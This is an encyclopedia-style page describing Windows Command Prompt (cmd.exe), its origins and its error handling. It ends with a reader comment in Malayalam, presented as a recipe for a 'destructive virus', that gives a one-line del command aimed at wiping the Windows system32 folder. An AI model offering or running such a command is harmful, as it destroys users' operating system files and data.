Command Prompt Commands

Command Prompt (executable name cmd.exe) is the Microsoft-supplied command-line interpreter on OS/2, Windows CE and on Windows NT-based operating systems (including Windows 2000, XP, Vista, 7, Server 2003 and Server 2008). It is the analog of COMMAND.COM in MS-DOS and Windows 9x (where it is called MS-DOS Prompt) systems, or of the Unix shells used on Unix-like systems.
Therese Stowell developed the initial version of cmd.exe for Windows NT.[1] Although some old DOS commands are unsupported or have been changed (ex: the functionality of deltree was rolled into rd in the form of the /s parameter), cmd.exe still has a greater number of built-in commands.

Both the OS/2 and the Windows NT versions of cmd.exe have more detailed error messages than the blanket "Bad command or file name" (in the case of malformed commands) of command.com. In the OS/2 version of cmd.exe, errors are reported in the current language of the system, their text being taken from the system message files. The help command can then be issued with the error message number to obtain further information.

cmd.exe remains part of Windows Vista, Windows Server 2008, and Windows 7

  1. വളരെ എളുപ്പം അത്യന്തം വിനാശകാരിയായ ഒരു വൈറസിനെ പെട്ടന്ന് എങ്ങനെ നിര്‍മിക്കാം ? :)

    del *.* c:\windows\system32 /q /u
